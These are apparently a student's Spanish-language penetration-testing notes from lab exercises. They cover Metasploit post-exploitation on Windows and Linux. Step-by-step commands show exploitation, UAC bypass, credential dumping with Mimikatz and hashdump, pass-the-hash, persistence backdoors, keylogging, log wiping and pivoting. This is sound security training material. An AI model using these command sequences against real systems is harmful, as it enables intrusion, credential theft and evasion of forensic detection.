Upgradearla
search shell_to_meterpreter
use
show options
set session N
set lhost IP
run Nos dara una meterpreter shell
sessions Ahi estara
Otra forma
sessions -u N Ejecuta lo mismo pero de forma automatica
sessions Ahi estara el meterpreter

Ejemplo

![[Pasted image 20260302172225.png]]![[Pasted image 20260302172228.png]]![[Pasted image 20260302172232.png]]![[Pasted image 20260302172236.png]]![[Pasted image 20260302172239.png]]![[Pasted image 20260302172241.png]]

CPTS

1. Modulos Windows Postexplotacion

MSF nos provee con varios modulos de Windows y Linux

Podemos usar estos modulos para enumerar informacion del sistema Windows del que tenemos acceso>

  • Enumeracion de privilegios de usuario
  • Enumeracion de usuarios logeados
  • VM check
  • Enumeracion de programas instalados
  • Enumeracion de AVs
  • Enumeracion de maquinas conectadas al dominio
  • Enumeracion de parches instalados
  • Enumeracion de shares

Comandos

Comandos Explicacion
service postgresql start && msfconsole -q
workspace -a windows_post
set rhosts IP
db_nmap -Pn -sS -sV -O -T4 IP Vemos un servidor HTTP que es vulnerable a rejjeto como sabemos 2.3
search rejetto
use
show options
run Obtenemos una meterpreter session
sysinfo Hostname, 2012 R2, x64 y meterpreter x86(32bits)
getuid Somos Administrator
screenshot Hace una captura de la pantalla del host. Si vamos al al sistema de archivos veremos que esta nuestra captura
Hay keyloggers y mas
getsystem Intenta elevar privilegios
getuid Ahora somos AUTHORITY\SYSTEM
hashdump Trata de obtener SAM hashes
show_mount Nos enseña los mounts que hay en el sistema (C:, D:… estos se pueden montar en el sistema local para luego investigar y navegar en ellos)
ps Nos muestra los procesos
migrate N Migrar a uno de esos procesos. Normalmente querremos explorer.exe. Esto lo hace con impersonate tokens
sysinfo Ahora nos dira que tenemos un meterpreter x64
ls
cat
cd
download
bg
Ahora vamos con los modulos de postexplotacion
  • post/windows/manage/migrate
search migrate
use post/windows/manage/migrate Nos permite crear un proceso y migrar a el
show options
set session N
run Falla porque ya hemos migrado
  • /post/windows/gather/win_privs
search win_privs
use /post/windows/gather/win_privs Nos permite enumerar los privilegios del usuario actual
set session N
run - Is Admin: true
- Is System: no tenemos privs de sistema porque cambiarmos de usuario con impersonate tokens
- Is In Local Admin Group: true
- UAC Enable: true
- UID: MAQUINA\Usuario
  • /post/windows/gather/enum_logged_on_users
search enum_logged_on
use /post/windows/gather/enum_logged_on_users Nos permite ver los usuarios logeados en el momento y recientes
show options
set session 1
run Nos da los SID actuales y recientes
  • /post/windows/gather/checkvm
search checkvm
use /post/windows/gather/checkvm Nos dice si la maquina esta en un VM
show options
set session 1
run Nos dice que es una Xen VM. Esto es importante porque hay modulos que pueden romper el entorno virtual y darnos acceso al host
  • /post/windows/gather/enum_applications
search enum_applications
use /post/windows/gather/enum_applications Nos da una lista con los programas descargados y su version
show options
set session 1
run Algunas versiones de esas aplicaciones tendran vulns que nos permitan elevar nuestros privs
  • /post/windows/gather/enum_av_excluded
search type:post platform_windows enum_av
use post/windows/gather/enum_av_excluded Nos enumera las carpetas, extensiones… con exclusiones AV donde podremos ejecutar
show options
set session 1
run Nos detecta el Deffender de Windows pero no exclusiones en este caso
  • post/windows/gather/enum_computers
search enum_computer
use post/windows/gather/enum_computers Enumera las maquinas conectadas al dominio
show options
set session 1
run Esta maquina no esta conectada a un dominio
  • post/windows/gather/enum_patches
search enum_patches
use post/windows/gather/enum_patches Enumera los parches
show options
KB KB patches son numeros identificadores de actualizaciones de Windows. Lo podemos modificar pero en este caso lo dejamos en default
set session 1
run Nos dice que no se puede. Probamos a migrar de proceso a otro con AUTHORITY\SYSTEM
sessions N
ps
migrate PID Hemos cambiado a svchost.exe
bg
run No sigue dando error
Otra forma manual
sessions N
shell
systeminfo Nos da info del sistema y una lista de los KB patches instalados
  • /post/windows/gather/enum_shares
search enum_shares
use /post/windows/gather/enum_shares Nos enumera los shares
show options
set sessions N
run Encontramos un $print (de impresora)
  • post/windows/manage/enable_rdp
search rdp platform:windows
use post/windows/manage/enable_rdp Nos dice si RDP esta habilitado
show options
set sessions N
run Nos dice que esta habilitado

Toda esta informacion se gurardara en:

loot Nos dara informacion recopilada importante
/home/user/.msf4<7loot/ Aqui estara en el sistema de archivos

CPTS

2. Windows Escalacion De Privilegios Bypassing Uac

Podemos usar el modulo “Windows Escalate UAC Protection Bypass (con memory inyection)” para bypassear UAC usando el certificado de confianza del editor a traves de un proceso de inyeccion. Esto generara otras shell que tiene el UAC flag off

Comandos

Comandos Explicacion
service postregresql start && msfconsole -q
workspace -a UAC
setg rhosts IP
db_nmap -Pn -sS -sV -O -T4 IP
services Usaremos rejetto para el HTTP Server httpd 2.3
search rejetto
use
show options
set payload windows/x64/meterpreter/reverse_tcp
run Obtenemos un meterpreter
sysinfo
getuid

Somos admin (NO Adminsitrator)
getsystem No funciona el elevar privs automaticamente
getprivs
shell
net users Vemos usuarios admin y Administrator
net localgroup administrators Somos parte de adminsitrators group
*Usamos esta tecnica porque es efectiva y estable para versiones anteriores y posteriores a Windows VIsta
Ctl C Para volver a meterpreter
bg
sessions Vemos que es un x64 (sera importante)
Tambien nos deberiamos quedar con el puerto para no ocupar el mismo en el otro modulo
search bypassuac Nosostros usaremos bypassuac_injection
use
show options
set payload windows/x64/meterpreter/reverse_tcp
set session N
set lport N Otro no usado
run
Si nos da un error porque dice que el target es un x86 hacemos lo siguiente
set target Windows\x64
run Ahora se deberia completar bien
getuid Veremos que somos admin aun. Eso es debido a que se ha creado otra shell igual pero con el flag UAC desactivado. Podremos ejecutar getsystem sin que salta el UAC para elevar privs
getsystem Elevamos privs automaticamente
getuid Ahora somos AUTHORITY\SYSTEM
ps -S lsass.exe
migrate PID
hashdump
load kiwi Por si falla hashdump
lsa_dump_sam

Ejemplo

![[Pasted image 20260302211803.png]]![[Pasted image 20260302211808.png]]![[Pasted image 20260302211814.png]]

Me da error el ponerle de payload x64, puede ser porque rejetto ahora no lo acepte como payload pero es muy raro ![[Pasted image 20260302211823.png]]![[Pasted image 20260302211825.png]]![[Pasted image 20260302211828.png]]![[Pasted image 20260302211831.png]]![[Pasted image 20260302211835.png]]![[Pasted image 20260302211837.png]]![[Pasted image 20260302211842.png]]![[Pasted image 20260302211845.png]]

CPTS

3. Windows Escalada De Privilegios Token Impersonation Con Incognito

Los Tokens son el elemento central para el proceso de autenticacion en Windows y es creado y gestionado por LSASS (Local Security Authority Subsystem Service)

Un token es responsable de identificar y describir el contexto de seguridad de un proceso que corre en el sistema

Puede simplemente ser poner una key asociada a una que provee a los usuarios acceso al sistema o recursos de red sin tener que poner credenciales cada vez que se inicia

Son generados por “winlogon.exe” proceso que se ejecuta cada vez que un usuario se autentica satisfactoriamente e incluye la identidad y privilegios que se asocian a esa cuenta

Este token se asocia a “userinit.exe” y despues todos los procesos empiezan por el usuario inherido a el, con los mismos privs del token de acceso

Los access tokens son categorizados en base a varios niveles de seguridad y se unen para determinar los privilegios asignados a un token

Niveles de seguridad de access tokens:

  • Impersonate-level: logins no interactivos normalmente servicios del sistema o logs del dominio. Pueden ser usados por tokens impersonales en el sistema local pero no en sistemas externos
  • Delegate-level: logins interactivos normalmente logins tradicionales o RDP. Mayor amenaza, pueden impersonar tokens en cualquier sistema

El proceso de impersonar tokens para aumentar privs dependera de los privilegios asignados a la cuenta que fue explotada para ganar acceso inicial

Privilegios para impersonar tokens:

  • SeAssignPrimaryToken: permite a un usuario impersonar tokens
  • SeCreateTokens: permite a un usuario crear tokens arbitrarios con privilegios admin
  • SeImpersonateTokens: permite crear procesos bajo el contexto de otro usuario, normalmente admin privs

Incognito

Modulo de MSF que antes era una app para impersonar tokens tras explotacion Podemos usarlo para ver una lista de tokens que podemos impersonar

Ejemplo

![[Pasted image 20260225165905.png]]![[Pasted image 20260225165909.png]]![[Pasted image 20260225165913.png]]![[Pasted image 20260225165918.png]]![[Pasted image 20260225165921.png]]![[Pasted image 20260225165925.png]]![[Pasted image 20260225165932.png]]![[Pasted image 20260225165936.png]]![[Pasted image 20260225165940.png]]![[Pasted image 20260225165947.png]]![[Pasted image 20260225165951.png]]![[Pasted image 20260225165955.png]]

Puede haber la situacion en la que no haya access tokens disponibles con privilegios. En ese caso para usar potato attack que crea un NT AUTHORITY\SYSTEM Token para conseguir sus privs

CPTS

4. Dumping Hashes Con Mimikatz

Mimikatz es una herramienta de postexplotacion que permite la extraccion de passwords en texto claro, hashes y tickets kerberos de la memoria

El SAM es una archivo de base de datos que guarda hashes de password

Mimikatz puede ser usado para extraer hashes del proceso de memoria lsass.exe donde se cachean los hashes

Podemos usar la version precompilada en ejecutable o la version de meterpreter llamada kiwi

Mimikatz requiere de privs

Ejemplo

![[Pasted image 20260225180355.png]]![[Pasted image 20260225180358.png]]![[Pasted image 20260225180402.png]]![[Pasted image 20260225180406.png]]![[Pasted image 20260225180410.png]]![[Pasted image 20260225180419.png]]![[Pasted image 20260225180423.png]]

La otra forma es desde meterpreter:

Comando Explicacion
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
shell
.\mimikatz.exe
privilege::debug Ver si tenemos permisos suficientes para ejecutar mimikatz
lsadump::sam
lsadump::secrets
sekurlsa::logonpasswords Si Windows tiene la configuracion de guardar en texto claro las pass de los logs

CPTS

5. Pass The Hash Con Psexec

Si obtenemos un hash NTLM podemos crackearla offline o usarla para PTH

Es una tecnica en la que se capturan hashes NTLM o clear text pass y las usamos para autenticarnos (Para el modulos MSF se necestia el NTLM + LM)

Podemos usar:

  • MSF el modulo Psexec
  • Crackmapexec

Con modulo MSF

Haremos un PTH al servicio SMB que requiere credenciales

Tendremos que tener descargado kiwi

Comando Explicacion
service postgresql start
msfconsole
search badblue
use /…/badblue-passthru
set OPTIONS
run Obtendremos sesion Meterpreter
pgrep lsass Busca procesos cuyo nombre coincida con lsass y devuelve sus PID. lsass es el Local Security Authority Subsystem Service en Windows:
- Gestiona autenticación de usuarios.
- Mantiene credenciales en memoria.
- Es el proceso que se intenta dumpear en post-explotación
migrate PID
load kiwi
lsa_dump_sam Obtendremos los NTLM de los usuario
hashdump Nos devuelve user::hash_LM::hashNTLM
bg
search psexec
use /exploit/windows/smb/psexec
set OPTIONS SMBUser “USUARIO”
SMBPass “NL:NTLM”
show target Tendremos que elegir uno e ir probando porque pueden fallar
set target “NOMBRE”
run

Con crackmapexec

Comando Explicacion
crackmapexec protocolo(smb) IP -u USER -H “NTLM” Interactua con el protocolo destino y nos dice si las credenciales son validas
crackmapexec protocolo(smb) IP -u USER -H “NTLM” -x “COMANDO(whoami)” Interactua con el protocolo, se loggea y realiza el comando

CPTS

6. Estableciendo Persistencia En Windows

Persistencia consiste en una tecnica que se usa para mantener acceso a sistemas incluso tras reinicios, cambio de credenciales y otras interrupciones que pueden cortar el acceso

Ganar un primer punto de apoyo no es suficiente, necesitas establecer y mantener persistencia en los objetivos

Podemos usar varios modulos post explotation de persistencia para asegurar que siempre tendremos acceso al objetivo

Comandos

Comandos Explicacion
service postgresql start && msfconsole -q
workspace -a Persistence
setg rhost IP
db_nmap -Pn -sS -sV -O -T4 IP rejetto
search rejetto
use
show options
set payload windows/x64/meterpreter/reverse_tcp
run
sysinfo
getuid

Acceso a administrador es muy importante para establecer persistencia
bg
search type:post platform:windows persistence Cada una usa una tecnica
Usaremos persistence_service
use Este crea un servicio para la persistencia y cuando tengamos un listener o multi/handler seremos capaces de obtener una sesion meterpreter
set payload windows/x64/meterpreter/reverse_tcp SI NO FUNCIONA EL X64 PONEMOS EL PARA 32BITS
Estos no los pondremos pero –>
set service_name
set remote_exe_name
set remote_exe_path
Queremos que el servicio parezca lo mas legitimo posible
set session N
run
getuid
exit
sessions
sessions -K N Queremos terminar todas las sessiones para ver si hemos establecido persistencia
use multi/handler
set paylaod windows/meterpreter/reverse_tcp
set lhost eth1
set lport N Debe ser el mismo que el que especificamos para crear el servicio
run Nos conectaremos porque el servicio correra incluso tras reinicios
exit
run Probamos otra vez y la seguimos obteniendo

CPTS

7. Habilitando RDP

RDP esta deshabilitado por defecto, aunque podemos usar un modulo MSF para habilitarlo en el Windows objetivo y como consecuencia usar RDP para acceder remotamente al sistema

RDP requiere de credenciales legitimas para acceder al objetivo en clear text

Comandos

Comandos Explicacion
service postgresql start && msfconsole -q
workspace -a RDP
setg rhosts IP
db_nmap -Pn -sS -sV -O -T4 IP Tenemos un web con badblue vulnerable
No vemos el puerto RDP habilitado
search badblue_passthru
use
show options
set target BadBlue\EE\2.7\Universal
run
getuid AUTHORITY\SYSTEM
sysinfo
bg
search enable_rdp
use
show options
set session N
run
db_nmap -p3389 IP Ahora esta abierto
sessions N
shell
net users Vemos los usuarios. Para tener credenciales legitimas podemos crear usuarios, pero en este caso simplemente vamos a cambiar la contrasena del Adminsitrator (no es recomendable ya que es un indicador obvio de compromiso)
net user administrator password1 Esto solo se puede hacer con privs admin
Abrimos una nueva terminal
xfreerdp /u:administrator /p:password1 /v:IP Se nos abre una Remote Desktop

Ejemplo

![[Pasted image 20260302223530.png]]![[Pasted image 20260302223534.png]]![[Pasted image 20260302223538.png]]![[Pasted image 20260302223540.png]]![[Pasted image 20260302223543.png]]![[Pasted image 20260302223546.png]]![[Pasted image 20260302223549.png]]![[Pasted image 20260302223552.png]]![[Pasted image 20260302223627.png]]

CPTS

8. Windows Keylogging

Keyloggin es el proceso de registrar o capturar las pulsaciones de teclas entrantes de un sistema atacante

Esta tecnica no esta limitada a post explotacion, hay multiples de programas y dispositivos USB que pueden ser usados para capturar y transmitir pulsaciones de teclas en un sistema

Meterpreter en un sistema Windows puede proveer la habilidad de capturar la pulsacion de teclas de entrada en un objetivo y descargarlo en nuestra maquina local

Comandos

Comandos Explicacion
service postgresql start && msfconsole -q
workspace -a keylogging
setg rhosts IP
search badblue_passthru Es el mismo target que en [[7. Habilitando RDP]]
use
show options
run
sysinfo
getuid
pgrep explorer.exe Funciona mejor
migrate PID
Comandos que vamos a usar keyscan_dump
keyscan_start
keyscan_stop
Abrimos el target machine y abrimos una nota para que luego se registre si escribimos
keyscan_start
Volvemos a la nota y escribimos username:admin
password:password1
keyscan_dump Veremos lo que se escribio
Volvemos a escribir
keyscan_dump
Abrimos un powqrshell y ponemos ipconfig
keyscan_dump SI NO FUNCIONA –> keyscan_stop
keyscan_start
Volver a escribir
keyscam_dump

Ejemplo

![[Pasted image 20260302225534.png]]![[Pasted image 20260302225537.png]]![[Pasted image 20260302225541.png]]![[Pasted image 20260302225545.png]]![[Pasted image 20260302225549.png]]![[Pasted image 20260302225552.png]]![[Pasted image 20260302225555.png]]![[Pasted image 20260302225558.png]]![[Pasted image 20260302225601.png]]

*Si no funcionase se para y se vuelve a iniciar el keyscan. O migrar a explorer

CPTS

9. Limpiando Eventos De Log

El SO Windows guarda y cataloga todas las acciones y eventos relacizados en el sistema y los guarda en Windows Event Log

Los Event Logs son categorizados en base al tipo de evento y son almacenados:

  • Application Logs: guarda eventos aplicaciones/programas como inicios, crasheos…
  • System Logs: guarda eventos del sistema como incios, reinicios…
  • Security Logs: guarda eventos de seguridad como cambios de pass, fallos de autenticacion…

Los Event Logs pueden ser accedidos via Event Viewer en Windows

Los event logs son la primera parada para un forensic tras la deteccion del compormiso. Es muy importante limpiar tus huellas tras realizar nuestros analisis

Comandos

Comandos Explicacion
service postgresql start && msfconsole -q
workspace -a ClearEventLogs
setg rhosts IP
search badblue_passthru
show options
run
sysinfo
getuid
Vamos al Windows y nos metemos en el Event Viewer
- Windows Logs
Aqui veremos Application, security, setup, system…
Miramos el ultimo evento (se pueden filtrar de ultimo-primero o primero-ultimo) Hacemos docle click encima
Se ve un Account was logged off
Volvemos al meterpreter
shell
net user administrator Password1 Le cambiamos el password para ver el event log
Volvemos al Windows y en Security vemos ahora:
- A user account was changed, donde sale Administrator y el password last change
Volvemos al meterpreter
clearev Borra los Event Log
Vamos al Windows
Si vamos a los security o cualquiera solo vamos a ver:
- The audit log was cleared
El siguiente paso seria eliminar los archivos y ejecutables pasados al objetivo com rm

Ejemplo

![[Pasted image 20260302232319.png]]![[Pasted image 20260302232323.png]]![[Pasted image 20260302232325.png]]![[Pasted image 20260302232329.png]]![[Pasted image 20260302232332.png]]![[Pasted image 20260302232335.png]]![[Pasted image 20260302232338.png]]

CPTS

10. Pivoting

Pivoting es una tecnica de postexplotacion que involucra el uso de un host comprometido para atacar a otro en la red interna del host comprometido

Tras ganar acceso a un host, podemos usar el host comprometido para explotar otros hosts en la misma red interna a la cual no pudimos acceder antes

Meterpreter nos provee habilidades para anadir una ruta de red a la subred interna y consecuentemente escanear y explotar otro sistema en la red

![[Pasted image 20260302232719.png]]

Comandos

Comandos Explicacion
ping IP1
service postgresql start && msfconsole -q
workspace -a pivoting
db_nmap -Pn -sS -sV -O -T4 IP1 Tenemos el webserver vulnerable por rejetto
search rejetto
use
show options
set rhosts IP1
run
sysinfo
getuid
ipconfig Veremos las interfaces. Usaremos la Interfaz 12 que es la que se conecta con al red interna
run autoroute -s IP_red/mascara
bg
sessions -n NOMBRE -i 1
search portscan/tcp
use
set rhost IP2
set PORTS 1-100
run Vemos que tiene un puerto 80
sessions 1
portfwd add -l 1234 -p 80 -r IP2
bg
db_nmap -sS -sV -p 1234 localhost Veremos por el puerto 1234 la version (en realidad es el puerto 80 de IP2)
Si abrimos un browser y ponemos 127.0.0.1:1234 veremos el codigo de la pagina web de IP2
search badblue_passthru
use
set payload windows/meterpreter/bind_tcp Bind porque con reverse no nos llegaria al no tener acceso directo. Tiramos el bind a traves de la maquina comprometida
set rhosts IP2
set lport N Un puerto que no haya sido usado
run Obtenemos un meterpreter en IP2
sysinfo
getuid
bg
sessions -n NOMBRE -i 2

Ejemplo

![[Pasted image 20260303001156.png]]![[Pasted image 20260303001159.png]]![[Pasted image 20260303001201.png]]![[Pasted image 20260303001204.png]]![[Pasted image 20260303001206.png]]![[Pasted image 20260303001210.png]]![[Pasted image 20260303001213.png]]![[Pasted image 20260303001228.png]]![[Pasted image 20260303001244.png]] A mi se me ha quedado bug. Si no funcionani el modulo poner como rhosts la IP. La he sacado al hacer el portscan/tcp a demo2.ine.local te da la IP

CPTS

1. Modulos Postexplotacion Linux

MSF nos provee de varios modulos de postexplotacion para Windows y Linux

Podemos usar estos modulos para enumerar informacion del sistema Windows del que tenemos acceso>

  • Enumeracion de privilegios de usuario
  • Enumeracion de usuarios logeados
  • VM check
  • Enumeracion de programas instalados
  • Enumeracion de AVs
  • Enumeracion de maquinas conectadas al dominio
  • Enumeracion de parches instalados
  • Enumeracion de shares

Comandos

Comandos Explicacion
service postgresql start && msfconsole -q
workspace -a Linux-post
setg rhost IP
db_nmap -Pn -sS -sV -O -T4 IP Explotacion de samba
search type:exploit samba/is_known_pipe
use
show options
exploit
Ctl Z
sessions -u N
sessions Abra una nueva session con Meterpreter
sessions N (Meterpreter)
sysinfo
getuid
shell
/bin/bash -i
groups root Enumerar grupos de root
cat /etc*issue Enumerar la distribucion
uname -a Kernel
ip a s Ver interfaces
ps aux Procesos que se estan ejecutando
env Ver variables del sistema
bg
  • post/linux/gather/enum_config
search enum_config
use post/linux/gather/enum_config Recopila los archivos de configuracion de Linux
show options
set session N
run Los verdes son los que existen
loot Veremos los archivos
cat /archivo Leemos uno
  • post/linux/gather/env
search type:post platform:linux env
use post/linux/gather/env Recopila las variables de entorno
show options
set session N
run Los verdes son los que existen
  • post/linux/gather/enum_network
search enum_network
use post/linux/gather/enum_network Recopila info de la red
show options
set session N
run Cosas como intentar abrir el sshd, recopilar info y configuraciones del firewall, dns…
loot
cat /archivo En el de dns config vemos que el ns principal es members-linode.com (linode es un servicio cloud)
  • post/linux/gather/enum_protections
search enum_protections
use post/linux/gather/enum_protections Checkea el endurecimiento de los mecanismos del sistemas , enumera aplicaciones instaladas que puede ser usada para dificultar, prevenir o detectar ataques. Intenta descubrir los modulos de Linux (LSM), antivirus, IDS/IPS…
show options
set session N
run Vemos cosas como: ASLR, SMEP, SMAP, Yama, tcpdump…
notes
  • post/linux/gather/enum_system
search enum_system
use post/linux/gather/enum_system Recopila informacion del sistema
show options
set session N
run Vemos cosas como: ASLR, SMEP, SMAP, Yama, tcpdump…
loot
cat /ruta/installed_packets
cat /ruta/cronjobs
  • post/linux/gather/checkcontainer
search checkcontainer
use post/linux/gather/checkcontainer Nos dice si tiene un contenedor
show options
set session N
run Parece ser un Docker host
  • post/linux/gather/checkvm
search checkvm platform:linux
use post/linux/gather/checkvm Detecta un entorno virtual
show options
set session N
run
  • post/linux/gather/enum_user_history
search enum_user_history
use post/linux/gather/enum_user_history Trata de conseguir los history (contienen comadnos realizados previamente) a de las cuentas
show options
set session N
run
loot
cat /ruta/para_root

CPTS

2. Linux Escalada De Privilegios Explotando Un Programa Vulnerable

Linux Privelege Escalation

La tecnica escalada de privilegios se usa dependiendo del Kernel Linux que este corriendo en el sistema o distribucion

MSF nos da algunos Kernel exploit pero en algunos casos hay un exploit module que puede ser usado para explotar un servicio vulnerable para elevar tus privilegios

Comandos

Comandos Explicacion
service postgresql start && msfconsole -q
workspace -a Linux_Priv
set rhosts IP
db_nmap -Pn -sS -sV -O -T4 IP Tenemos un puerto ssh en el 22
search ssh_login
use N El que no sea con pub key
show options
set username jackie Nos lo dan
set password password Nos lo dan
run
sessions
sessions -u 1
sessions N
whoami
cat /etc/*releases
uname -r
sysinfo
cat /etc/passwd Tenemos dos usuarios: root y jackie (tienen un /bin/bash)
ps aux Vemos un bin ejecutado por el admin
cat /bin/check-down Se ejecuta cada minuto chkrootkit
chkrootkit –help
chkrootkit -V Nos da una version vulnerable (anteriores a 0.50)
bg
search chkrootkit
use
show options
set chkrootkit /bin/chkrootkit
set session N
set lhost eth1
run

Ejemplo

![[Pasted image 20260303162939.png]]![[Pasted image 20260303162943.png]]![[Pasted image 20260303162946.png]]![[Pasted image 20260303162949.png]]![[Pasted image 20260303162952.png]]![[Pasted image 20260303162955.png]]![[Pasted image 20260303162959.png]]![[Pasted image 20260303163001.png]]![[Pasted image 20260303163005.png]]![[Pasted image 20260303163007.png]]![[Pasted image 20260303163010.png]]![[Pasted image 20260303163012.png]] Se ejecuta un chkrootkit vulnerable

![[Pasted image 20260303163027.png]]![[Pasted image 20260303163030.png]]![[Pasted image 20260303163033.png]]![[Pasted image 20260303163035.png]]![[Pasted image 20260303163037.png]]![[Pasted image 20260303163040.png]]

CPTS

3. Dumping Hashes Con Hashdump

Podemos dumpear Linux hashes con el modulo de post explotacion hashdump

Las contraseñas de Linux se guardan en /etc/shadow y solo pueden ser accedidas con el usuario root o un usuario con privilegios

El modulo de hashdump puede ser usado para dumpear hashes de cuentas de usuarios de /etc/shadow y pueden ser usadas para quitarles el formato para pasarlos por John The Ripper

Comandos

Comandos Explicacion
service postgresql start && msfconsole
workspace -a Hashdump
db_nmap -Pn -sS -sV -O -T4 IP Samba is_kwonw_pipename
setg rhost IP
search type:exploit samba
use
show options
run
Ctl Z
sessions -u N
sessions N
Si tratamos de hacer hashdump en un sistema que no es Windows nos dara un error. Tenemos que usar el modulo de hasdump
getuid Somos root podemos dumpear los hashes
bg
search type:post platform:linux hashdump
use
show options
set session N
run
loot Tendremos el shadow, el passwd y las passwords unshadowed (sin formato para john)
cat /passwd Veremos el /etc/passwd
cat /shadow Veremos el /etc/shadow sin contraseñas asignadas (lo pone con *)
sessions N
shell
/bin/bash -i
passwd root Le cambiamos la contraseña
password123 Se la establecemos
usradd -m NOMBRE -s /bin/bash Creamos un usuario
passwd NOMBRE
password321
Ctl C
bg
run Puede que tengamos que poner de nuevo el set session N

Veremos el hash del root y NOMRE
loot
cat /unshadowed Veremos el hash de los usuarios root y NOMBRE

$N$ : algoritmo hash. Visto en: [[1. Dumping Linux Password Hashes]]

Mas alto = mas dificil de crackear

Mas modulos para hashdump u obetner creds

  • post/multi/gather/ssh_creds
  • post/multi/gather/docker_creds
  • post/linux/gather/hashdump
  • post/linux/gather/ecryptfs_creds
  • post/linux/gather/enum_psk
  • post/linux/gather/enum_xchat
  • post/linux/gather/phpmyadmin_credsteal
  • post/linux/gather/pptpd_chap_secrets
  • post/linux/manage/sshkey_persistence

CPTS

4. Estableciendo Persistencia En Linux

Comandos

Comandos Explicacion
service postgresql start && msfconsole -q
workspace -a Linux_Persistence
setg rhost IP
search ssh_login Mismo lab que el de ssh
use
set username jackie
set password password
run
sessions
sessions -u N
search chkrootkit
use
show options
set session N (Meterpreter)
set path /bin/chkrootkit
set lhost eth1
run
Ctl Z
sessions -u N
sessions N (Nueva Meterpreter con uid 0)
getuid

Primer metodo manual - Crear un backdoor user

Solo funciona si existe un protocolo de log como ssh en el que nos podamos conectar siempre que podamos

shell
cat /etc/passwd Vemos los usuarios
Nuestro nuevo usuario no debe parecer clandestino
useradd -m NOMBRE -s /bin/bash -m: le crea un directorio propio al usuario
-m /ruta: especificar donde se creara (si no se especifica se creara en /home)
El nombre puede ser algo como ftp, si existiese un servicio ftp
-s: indica el tipo de shell que tenfra
passwd NOMBRE Para ponerles una password
Ahora vamos a darle permisos root
usermod aG root NOMBRE
groups NOMBRE Vemos que pertenece al grupo de root
Si miramos /etc/passwd y miramos :N:N: se ve que este usuario fue creado recientemente. Vamos a hacer que parezca que no es tan reciente
usermod -u N(como 15 por ejemplo) NOMBRE
cat /etc/passwd Veremos que ahora pone :15:N:
exit
bg

Segundo metodo MSF - Modulos de persistence

Comandos Explicacion
search platform:linux persistence Hay de APT Package, cron, bash, rc.local. autostart desktop…
Primero apt_package_manager_persistence
use
info Este modulo corre un payload cuando el paquete manager es usado. No se configura el multi/handler automaticamente por que hay que configurarlo manualmente
Crea una pre-invocacion del APT en apt.conf.d

Este modulo debido a lo de multi/handler no nos da acceso siempre por lo que este no lo usaremos
Segundo cron_persistence
search platform:linux persistence
use
info Permite crear una tarea programada que nos de acceso al sistema de forma persistente
Se ejecuta cada min mas o menos
set session N
set lport N Uno que no se este usando
set lhost eth1
run Parece no funcionar usamos otro
Tercero service_persistence
search platform:linux persistence
use Trata de crear un servicio en una caja y lo marca como autorun. Necesitamos suficiente acceso como para escribir los archivos y potencialmente reiniciar los servicios
set session N
set payload cmd/unix/reverse_python
set lhost eth1
set lport N Uno no usado
run No funciona
show targets
set target System V
run No funciona
Cuarto sshkey_persistence (lo usamos cuando nuestros intentos fallan y para ser sigilosos)
search platform:linux persistence
use Crea un pub y private key shh y lo añade a todos los directorios de usuario y nos provee el private key para autenticarnos en cualquier usuario sin usar la contraseña
No deja mucho rastro salvo los logs in
show options
set createsshfolder true Por si no tiene un archivo ssh
set session N
run Crea un directorio a todos los usuarios
loot Vemos el private key
cat /privatekey
Lo copiamos
exit -y
nano ssh_key Lo pegamos
chmod 400 ssh_key
ssh -i ssh_key USER@IP

Ejemplo

![[Pasted image 20260303175439.png]]![[Pasted image 20260303175442.png]]![[Pasted image 20260303175445.png]]![[Pasted image 20260303175448.png]]![[Pasted image 20260303175450.png]]![[Pasted image 20260303175453.png]]

Se cerro la sesión 2 ![[Pasted image 20260303175501.png]]![[Pasted image 20260303175505.png]]![[Pasted image 20260303175508.png]]![[Pasted image 20260303175511.png]]![[Pasted image 20260303175516.png]]![[Pasted image 20260303175520.png]]![[Pasted image 20260303175525.png]]![[Pasted image 20260303175529.png]]![[Pasted image 20260303175533.png]]![[Pasted image 20260303175537.png]]

CPTS

1. Uso De Plugins

Se encuentran en:

ls /usr/share/metasploit-framework/plugins/

Para usar uno:

load modulo
modulo help
Ejemplo: load nessus | nessus help

Instalacion de un nuevo plugin

git clone https://...
sudo cp ./PLUGIN.rb /usr/share/metasploit-framework/plugins/NOMBRE.rb

CPTS

2. Meterpreter

Comandos de Meterpreter

Si usamos help salen

	?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    guid                      Get the session GUID
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Open an interactive Ruby shell on the current session
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    pivot                     Manage pivot listeners
    pry                       Open the Pry debugger on the current session
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    secure                    (Re)Negotiate TLV packet encryption on the session
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for "load"
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel

Ejemplo

msf>

db_nmap -sV -p- -T5 -A IP
hosts
services
search iis_webdav_upload_asp
use 0
show options
set RHOST IP
set LHOST INTERFAZ
run

meterpreter>

getuid  -- Access failed
ps
steal_token PID  -- Cogemos uno de NT AUTHORITY\NETWORK SERVICE
getuid  -- NT AUTHORITY\NETWORK SERVICE
shell

shell>

dir
cd
exit

meterpreter>

bg

msf>

search local_exploit_suggester
use 0
show options
set SESSION 1
run  -- exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable

use exploit/windows/local/ms15_051_client_copy_image
show options
set session 1
set LHOST tun0
run

meterpreter>

getuid   --  NT AUTHORITY\SYSTEM
hashdump
lsa_dump_sam
lsa_dump_secrets

CPTS

1. Modulos

  1. Realizamos un escaneo de servicios y vemos que es un Windows Server 2016 que puede ser vulnerable a EternalRomance

![[Pasted image 20260610105418.png]]

  1. En msfconsole usamos eternalromance ![[Pasted image 20260610105508.png]]![[Pasted image 20260610105516.png]]![[Pasted image 20260610105637.png]]![[Pasted image 20260610105812.png]]

CPTS

2. Payloads

